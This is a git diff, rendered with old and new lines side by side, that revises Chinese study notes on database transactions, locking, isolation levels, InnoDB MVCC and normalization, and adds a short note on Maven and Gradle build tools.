### 4. 持久性Durability ### 4. 持久性Durability
一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。可以通过数据库备份和恢复来保证持久性。 一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。
可以通过数据库备份和恢复来实现,在系统发生崩溃时,使用备份的数据库进行数据恢复。
----
事务的 ACID 特性概念简单,但不是很好理解,主要是因为这几个特性不是一种平级关系:
- 只有满足一致性,事务的执行结果才是正确的。
- 在无并发的情况下,事务串行执行,隔离性一定能够满足。此时只要能满足原子性,就一定能满足一致性。
- 在并发的情况下,多个事务并行执行,事务不仅要满足原子性,还需要满足隔离性,才能满足一致性。
- 事务满足持久化是为了能应对数据库崩溃的情况。
<div align="center"> <img src="../pics//a58e294a-615d-4ea0-9fbf-064a6daec4b2.png" width="450"/> </div><br>
## AUTOCOMMIT ## AUTOCOMMIT
@ -72,56 +88,50 @@ MySQL 默认采用自动提交模式。也就是说,如果不显式使用`STAR
# 二、并发一致性问题 # 二、并发一致性问题
在并发环境下,一个事务如果受到另一个事务的影响,那么事务操作就无法满足一致性条件 在并发环境下,事务的隔离性很难保证,因此会出现很多并发一致性问题
## 问题 ## 丢失修改
### 1. 丢失修改
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。 T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png"/> </div><br> <div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png" width="350"/> </div><br>
### 2. 读脏数据 ## 读脏数据
T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。 T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png"/> </div><br> <div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png" width="400"/> </div><br>
### 3. 不可重复读 ## 不可重复读
T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。 T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和第一次读取的结果不同。
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png"/> </div><br> <div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png" width="350"/> </div><br>
### 4. 幻影读 ## 幻影读
T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。 T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
<div align="center"> <img src="../pics//72fe492e-f1cb-4cfc-92f8-412fb3ae6fec.png"/> </div><br> <div align="center"> <img src="../pics//72fe492e-f1cb-4cfc-92f8-412fb3ae6fec.png" width="350"/> </div><br>
## 解决方法 ----
产生并发不一致性问题主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。 产生并发不一致性问题主要原因是破坏了事务的隔离性,解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。
在没有并发的情况下,事务以串行的方式执行,互不干扰,因此可以保证隔离性。在并发的情况下,如果能通过并发控制,让事务的执行结果和某一个串行执行的结果相同,就认为事务的执行结果满足隔离性要求,也就是说是正确的。把这种事务执行方式称为 **可串行化调度**
**并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
# 三、封锁 # 三、封锁
## 封锁粒度 ## 封锁粒度
<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。 MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。 应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。
但是加锁需要消耗资源,锁的各种操作包括获取锁,检查锁是否已经解除、释放锁,都会增加系统开销。因此封锁粒度越小,系统开销就越大。 但是加锁需要消耗资源,锁的各种操作包括获取锁、释放锁、以及检查锁状态)都会增加系统开销。因此封锁粒度越小,系统开销就越大。
在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡。 在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡。
<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
## 封锁类型 ## 封锁类型
### 1. 读写锁 ### 1. 读写锁
@ -138,8 +148,8 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
| - | X | S | | - | X | S |
| :--: | :--: | :--: | | :--: | :--: | :--: |
|X|NO|NO| |X|×|×|
|S|NO|YES| |S|×|√|
### 2. 意向锁 ### 2. 意向锁
@ -158,10 +168,10 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
| - | X | IX | S | IS | | - | X | IX | S | IS |
| :--: | :--: | :--: | :--: | :--: | | :--: | :--: | :--: | :--: | :--: |
|X |NO |NO |NO | NO| |X |× |× |× | ×|
|IX |NO |YES |NO | YES| |IX |× | |× | |
|S |NO |NO |YES | YES| |S |× |× | | |
|IS |NO |YES |YES | YES| |IS |× |√ |√ | |
解释如下: 解释如下:
@ -176,9 +186,9 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。 事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么一个事务的修改就不会被覆盖。 可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么事务的修改就不会被覆盖。
| T<sub>1</sub> | T<sub>1</sub> | | T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: | | :--: | :--: |
| lock-x(A) | | | lock-x(A) | |
| read A=20 | | | read A=20 | |
@ -199,7 +209,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。 可以解决读脏数据问题,因为如果一个事务在对数据 A 进行修改,根据 1 级封锁协议,会加 X 锁,那么就不能再加 S 锁了,也就是不会读入数据。
| T<sub>1</sub> | T<sub>1</sub> | | T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: | | :--: | :--: |
| lock-x(A) | | | lock-x(A) | |
| read A=20 | | | read A=20 | |
@ -220,7 +230,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。 可以解决不可重复读的问题,因为读 A 时,其它事务不能对 A 加 X 锁,从而避免了在读的期间数据发生改变。
| T<sub>1</sub> | T<sub>1</sub> | | T<sub>1</sub> | T<sub>2</sub> |
| :--: | :--: | | :--: | :--: |
| lock-s(A) | | | lock-s(A) | |
| read A=20 | | | read A=20 | |
@ -237,9 +247,11 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
### 2. 两段锁协议 ### 2. 两段锁协议
加锁和解锁分为两个阶段进行。事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁并且在释放一个封锁之后T 不能再获得任何的其它锁。 加锁和解锁分为两个阶段进行。
事务遵循两段锁协议是保证并发操作可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度 可串行化调度是指,通过并发控制,使得并发执行的事务结果与某个串行执行的事务结果相同
事务遵循两段锁协议是保证可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
```html ```html
lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B) lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
@ -264,64 +276,64 @@ SELECT ... FOR UPDATE;
# 四、隔离级别 # 四、隔离级别
<font size=4> **1. 未提交读READ UNCOMMITTED** </font> </br> ## 未提交读READ UNCOMMITTED
事务中的修改,即使没有提交,对其它事务也是可见的。 事务中的修改,即使没有提交,对其它事务也是可见的。
<font size=4> **2. 提交读READ COMMITTED** </font> </br> ## 提交读READ COMMITTED
一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。 一个事务只能读取已经提交的事务所做的修改。换句话说,一个事务所做的修改在提交之前对其它事务是不可见的。
<font size=4> **3. 可重复读REPEATABLE READ** </font> </br> ## 可重复读REPEATABLE READ
保证在同一个事务中多次读取同样数据的结果是一样的。 保证在同一个事务中多次读取同样数据的结果是一样的。
<font size=4> **4. 可串行化SERIALIXABLE** </font> </br> ## 可串行化SERIALIZABLE
强制事务串行执行。 强制事务串行执行。
<font size=4> **四个隔离级别的对比** </font> </br> ----
| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | | 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
| :---: | :---: | :---:| :---: | | :---: | :---: | :---:| :---: | :---: |
| 未提交读 | YES | YES | YES | | 未提交读 | √ | √ | √ | × |
| 提交读 | NO | YES | YES | | 提交读 | × | √ | √ | × |
| 可重复读 | NO | NO | YES | | 可重复读 | × | × | √ | × |
| 可串行化 | NO | NO | NO | | 可串行化 | × | × | × | |
# 五、多版本并发控制 # 五、多版本并发控制
多版本并发控制Multi-Version Concurrency Control, MVCC是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。 多版本并发控制Multi-Version Concurrency Control, MVCC是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。
## 版本号 ## 版本号
- 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。 - 系统版本号:是一个递增的数字,每开始一个新的事务,系统版本号就会自动递增。
- 事务版本号:事务开始时的系统版本号。 - 事务版本号:事务开始时的系统版本号。
InooDB 的 MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号: ## 隐藏的列
MVCC 在每行记录后面都保存着两个隐藏的列,用来存储两个版本号:
- 创建版本号:指示创建一个数据行的快照时的系统版本号; - 创建版本号:指示创建一个数据行的快照时的系统版本号;
- 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。 - 删除版本号:如果该快照的删除版本号大于当前事务版本号表示该快照有效,否则表示该快照已经被删除了。
## Undo 日志 ## Undo 日志
InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中该日志通过回滚指针把一个数据行Record的所有快照连接起来。 MVCC 使用到的快照存储在 Undo 日志中该日志通过回滚指针把一个数据行Record的所有快照连接起来。
<div align="center"> <img src="../pics//e41405a8-7c05-4f70-8092-e961e28d3112.jpg"/> </div><br> <div align="center"> <img src="../pics//e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
## 实现过程 ## 实现过程
以下过程针对可重复读REPEATABLE READ隔离级别。 以下实现过程针对可重复读隔离级别。
### 1. SELECT
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。 当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
### 1. SELECT
多个事务必须读取到同一个数据行的快照,并且这个快照是距离现在最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。 多个事务必须读取到同一个数据行的快照,并且这个快照是距离现在最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
把没有对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。 把没有对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。除此之外T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
除了上面的要求T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
### 2. INSERT ### 2. INSERT
@ -333,7 +345,7 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
### 4. UPDATE ### 4. UPDATE
将当前系统版本号作为更新的数据行快照的创建版本号,同时将当前系统版本号作为更新的数据行快照的删除版本号。可以理解为先执行 DELETE 后执行 INSERT。 将当前系统版本号作为更新的数据行快照的删除版本号,将当前系统版本号作为更新的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
## 快照读与当前读 ## 快照读与当前读
@ -359,15 +371,19 @@ delete;
# 六、Next-Key Locks # 六、Next-Key Locks
Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读REPEATABLE READ隔离级别下使用 MVCC + Next-Key Locks 可以解决幻读问题。 Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读REPEATABLE READ隔离级别下使用 MVCC + Next-Key Locks 可以解决幻读问题。
## Record Locks ## Record Locks
锁定的对象是索引而不是数据。如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Locks 依然可以使用 锁定一个记录上的索引,而不是记录本身
## Grap Locks 如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚簇索引,因此 Record Locks 依然可以使用。
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。 ## Gap Locks
锁定索引之间的间隙,但是不包含索引本身。例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
```sql ```sql
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE; SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
@ -375,28 +391,14 @@ SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
## Next-Key Locks ## Next-Key Locks
它是 Record Locks 和 Gap Locks 的结合。在 user 中有以下记录 它是 Record Locks 和 Gap Locks 的结合不仅锁定一个记录上的索引也锁定索引之间的间隙。例如一个索引包含以下值10, 11, 13, and 20那么就需要锁定以下区间
```sql ```sql
| id | last_name | first_name | age | (negative infinity, 10]
|------|-------------|--------------|-------| (10, 11]
| 4 | stark | tony | 21 | (11, 13]
| 1 | tom | hiddleston | 30 | (13, 20]
| 3 | morgan | freeman | 40 | (20, positive infinity)
| 5 | jeff | dean | 50 |
| 2 | donald | trump | 80 |
+------|-------------|--------------|-------+
```
那么就需要锁定以下范围:
```sql
(-, 21]
(21, 30]
(30, 40]
(40, 50]
(50, 80]
(80, )
``` ```
# 七、关系数据库设计理论 # 七、关系数据库设计理论
@ -407,7 +409,9 @@ SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。 如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
对于 W->A,如果能找到 W 的真子集 W',使得 W'-> A,那么 W->A 就是部分函数依赖,否则就是完全函数依赖 对于 A->B,如果能找到 A 的真子集 A',使得 A'-> B,那么 A->B 就是部分函数依赖,否则就是完全函数依赖
对于 A->BB->C则 A->C 是一个传递函数依赖。
## 异常 ## 异常
@ -422,20 +426,22 @@ SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
不符合范式的关系,会产生很多异常,主要有以下四种异常: 不符合范式的关系,会产生很多异常,主要有以下四种异常:
- 冗余数据:例如 学生-2 出现了两次。 - 冗余数据:例如 `学生-2` 出现了两次。
- 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。 - 修改异常:修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
- 删除异常:删除一个信息,那么也会丢失其它信息。例如如果删除了 课程-1需要删除第一行和第三行,那么 学生-1 的信息就会丢失。 - 删除异常:删除一个信息,那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行,那么 `学生-1` 的信息就会丢失。
- 插入异常例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。 - 插入异常例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
## 范式 ## 范式
范式理论是为了解决以上提到四种异常。高级别范式的依赖于低级别的范式。 范式理论是为了解决以上提到四种异常。
高级别范式的依赖于低级别的范式1NF 是最低级别的范式。
<div align="center"> <img src="../pics//c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br> <div align="center"> <img src="../pics//c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
### 1. 第一范式 (1NF) ### 1. 第一范式 (1NF)
属性不可分 属性不可分
### 2. 第二范式 (2NF) ### 2. 第二范式 (2NF)
@ -474,7 +480,7 @@ Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门
有以下函数依赖: 有以下函数依赖:
- Sno -> Sname, Sdept, Mname - Sno -> Sname, Sdept
- Sdept -> Mname - Sdept -> Mname
关系-2 关系-2
@ -492,9 +498,13 @@ Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门
### 3. 第三范式 (3NF) ### 3. 第三范式 (3NF)
非主属性不传递依赖于键码。 非主属性不传递函数依赖于键码。
上面的 关系-1 中存在以下传递依赖:Sno -> Sdept -> Mname可以进行以下分解 上面的 关系-1 中存在以下传递函数依赖:
- Sno -> Sdept -> Mname
可以进行以下分解:
关系-11 关系-11
@ -511,135 +521,57 @@ Sname, Sdept 和 Mname 都部分依赖于键码,当一个学生选修了多门
| 学院-1 | 院长-1 | | 学院-1 | 院长-1 |
| 学院-2 | 院长-2 | | 学院-2 | 院长-2 |
### 4. BC 范式BCNF # 八、ER 图
所有属性不传递依赖于键码。
关系 STC(Sname, Tname, Cname, Grade) 的四个属性分别为学生姓名、教师姓名、课程名和成绩,它的键码为 (Sname, Cname, Tname),有以下函数依赖:
- Sname, Cname -> Tname
- Sname, Cname -> Grade
- Sname, Tname -> Cname
- Sname, Tname -> Grade
- Tname -> Cname
存在着以下函数传递依赖:
- Sname -> Tname -> Cname
可以分解成 SC(Sname, Cname, Grade) 和 ST(Sname, Tname),对于 ST属性之间是多对多关系无函数依赖。
# 八、数据库系统概述
## 基本术语
### 1. 数据模型
由数据结构、数据操作和完整性三个要素组成。
### 2. 数据库系统
数据库系统包含所有与数据库相关的内容,包括数据库、数据库管理系统、应用程序以及数据库管理员和用户,还包括相关的硬件和软件。
## 数据库的三层模式和两层映像
- 外模式:局部逻辑结构
- 模式:全局逻辑结构
- 内模式:物理结构
<div align="center"> <img src="../pics//20150928140509757.png" width="600"/> </div><br>
### 1. 外模式
又称用户模式,是用户和数据库系统的接口,特定的用户只能访问数据库系统提供给他的外模式中的数据。例如不同的用户创建了不同数据库,那么一个用户只能访问他有权限访问的数据库。
一个数据库可以有多个外模式,一个用户只能有一个外模式,但是一个外模式可以给多个用户使用。
### 2. 模式
可以分为概念模式和逻辑模式,概念模式可以用概念-关系来描述;逻辑模式使用特定的数据模式(比如关系模型)来描述数据的逻辑结构,这种逻辑结构包括数据的组成、数据项的名称、类型、取值范围。不仅如此,逻辑模式还要描述数据之间的关系、数据的完整性与安全性要求。
### 3. 内模式
又称为存储模式,描述记录的存储方式,例如索引的组织方式、数据是否压缩以及是否加密等等。
### 4. 外模式/模式映像
把外模式的局部逻辑结构和模式的全局逻辑结构联系起来。该映像可以保证数据和应用程序的逻辑独立性。
### 5. 模式/内模式映像
把模式的全局逻辑结构和内模式的物理结构联系起来,该映像可以保证数据和应用程序的物理独立性。
# 九、关系数据库建模
## ER 图
Entity-Relationship有三个组成部分实体、属性、联系。 Entity-Relationship有三个组成部分实体、属性、联系。
### 1. 实体的三种联系 用来进行关系型数据库系统的概念设计。
联系包含一对一,一对多,多对多三种。 ## 实体的三种联系
如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B如果是一对一画两个带箭头的线段如果是多对多画两个不带箭头的线段。下图的 Course 和 Student 是一对多的关系 包含一对一,一对多,多对多三种
<div align="center"> <img src="../pics//292b4a35-4507-4256-84ff-c218f108ee31.jpg"/> </div><br> - 如果 A 到 B 是一对多关系,那么画个带箭头的线段指向 B
- 如果是一对一,画两个带箭头的线段;
- 如果是多对多,画两个不带箭头的线段。
### 2. 表示出现多次的关系 下图的 Course 和 Student 是一对多的关系
一个实体在联系出现几次,就要用几条线连接。下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。 <div align="center"> <img src="../pics//292b4a35-4507-4256-84ff-c218f108ee31.jpg" width=""/> </div><br>
<div align="center"> <img src="../pics//8b798007-e0fb-420c-b981-ead215692417.jpg"/> </div><br> ## 表示出现多次的关系
### 3. 联系的多向性 一个实体在联系出现几次,就要用几条线连接。
下图表示一个课程的先修关系,先修关系出现两个 Course 实体,第一个是先修课程,后一个是后修课程,因此需要用两条线来表示这种关系。
<div align="center"> <img src="../pics//8b798007-e0fb-420c-b981-ead215692417.jpg" width=""/> </div><br>
## 联系的多向性
虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。 虽然老师可以开设多门课,并且可以教授多名学生,但是对于特定的学生和课程,只有一个老师教授,这就构成了一个三元联系。
<div align="center"> <img src="../pics//423f2a40-bee1-488e-b460-8e76c48ee560.png"/> </div><br> <div align="center"> <img src="../pics//423f2a40-bee1-488e-b460-8e76c48ee560.png" width=""/> </div><br>
一般只使用二元联系,可以把多元系转换为二元系。 一般只使用二元联系,可以把多元系转换为二元系。
<div align="center"> <img src="../pics//de9b9ea0-1327-4865-93e5-6f805c48bc9e.png"/> </div><br> <div align="center"> <img src="../pics//de9b9ea0-1327-4865-93e5-6f805c48bc9e.png" width=""/> </div><br>
### 4. 表示子类 ## 表示子类
用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。 用一个三角形和两条线来连接类和子类,与子类有关的属性和联系都连到子类上,而与父类和子类都有关的连到父类上。
<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg"/> </div><br> <div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg" width=""/> </div><br>
# 十、约束
## 1. 键码
用于唯一表示一个实体。
键码可以由多个属性构成,每个构成键码的属性称为码。
## 2. 单值约束
某个属性的值是唯一的。
## 3. 引用完整性约束
一个实体的属性引用的值在另一个实体的某个属性中存在。
## 4. 域约束
某个属性的值在特定范围之内。
## 5. 一般约束
比如大小约束,数量约束。
# 参考资料 # 参考资料
- 史嘉权. 数据库系统概[M]. 清华大学出版社有限公司, 2006. - AbrahamSilberschatz, HenryF.Korth, S.Sudarshan, 等. 数据库系统概[M]. 机械工业出版社, 2006.
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013. - 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html) - [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels) - [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol) - [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
- [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666) - [The Nightmare of Locking, Blocking and Isolation Levels!](https://www.slideshare.net/brshristov/the-nightmare-of-locking-blocking-and-isolation-levels-46391666)
- [三级模式与两级映像](http://blog.csdn.net/d2457638978/article/details/48783923)
- [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html) - [Database Normalization and Normal Forms with an Example](https://aksakalli.github.io/2012/03/12/database-normalization-and-normal-forms-with-an-example.html)
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/) - [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/) - [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)

140
notes/构建工具.md Normal file
View File

@ -0,0 +1,140 @@
<!-- GFM-TOC -->
* [一、构建工具的作用](#一构建工具的作用)
* [二、Java 主流构建工具](#二java-主流构建工具)
* [三、Maven](#三maven)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、构建工具的作用
构建工具是用于构建项目的自动化工具,主要包含以下工作:
## 依赖管理
不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。
## 运行单元测试
不再需要在项目代码中添加测试代码,从而避免了污染项目代码。
## 将源代码转化为可执行文件
包含预处理、编译、汇编、链接等步骤。
## 将可执行文件进行打包
不再需要使用 IDE 将应用程序打包成 Jar 包。
## 发布到生产服务器上
不再需要通过 FTP 将 Jar 包上传到服务器上。
# 二、Java 主流构建工具
主要包括 Ant、Maven 和 Gradle。
<div align="center"> <img src="../pics//897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
Gradle 和 Maven 的区别是,它使用 Groovy 这种特定领域语言DSL来管理构建脚本而不再使用 XML 这种标记性语言。因为项目如果庞大的话XML 很容易就变得臃肿。
例如要在项目中引入 JunitMaven 的代码如下:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>jizg.study.maven.hello</groupId>
<artifactId>hello-first</artifactId>
<version>0.0.1-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.10</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
```
而 Gradle 只需要几行代码:
```java
dependencies {
testCompile "junit:junit:4.10"
}
```
# 三、Maven
## 概述
提供了项目对象模型POM文件来管理项目的构建。
## 仓库
仓库的搜索顺序为:本地仓库、中央仓库、远程仓库。
- 本地仓库用来存储项目的依赖库;
- 中央仓库是下载依赖库的默认位置;
- 远程仓库,因为并非所有的库存储在中央仓库,或者中央仓库访问速度很慢,远程仓库是中央仓库的补充。
## POM
POM 代表项目对象模型,它是一个 XML 文件,保存在项目根目录的 pom.xml 文件中。
```xml
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
```
[groupId, artifactId, version, packaging, classfier] 称为一个项目的坐标,其中 groupId、artifactId、version 必须定义packaging 可选(默认为 Jarclassfier 不能直接定义的,需要结合插件使用。
- groupId项目组 Id必须全球唯一
- artifactId项目 Id即项目名
- version项目版本
- packaging项目打包方式。
## 依赖原则
### 1. 依赖路径最短优先原则
```html
A -> B -> C -> X(1.0)
A -> D -> X(2.0)
```
由于 X(2.0) 路径最短,所以使用 X(2.0)。
### 2. 声明顺序优先原则
```html
A -> B -> X(1.0)
A -> C -> X(2.0)
```
在 POM 中最先声明的优先,上面的两个依赖如果先声明 B那么最后使用 X(1.0)。
### 3. 覆写优先原则
子 POM 内声明的依赖优先于父 POM 中声明的依赖。
## 解决依赖冲突
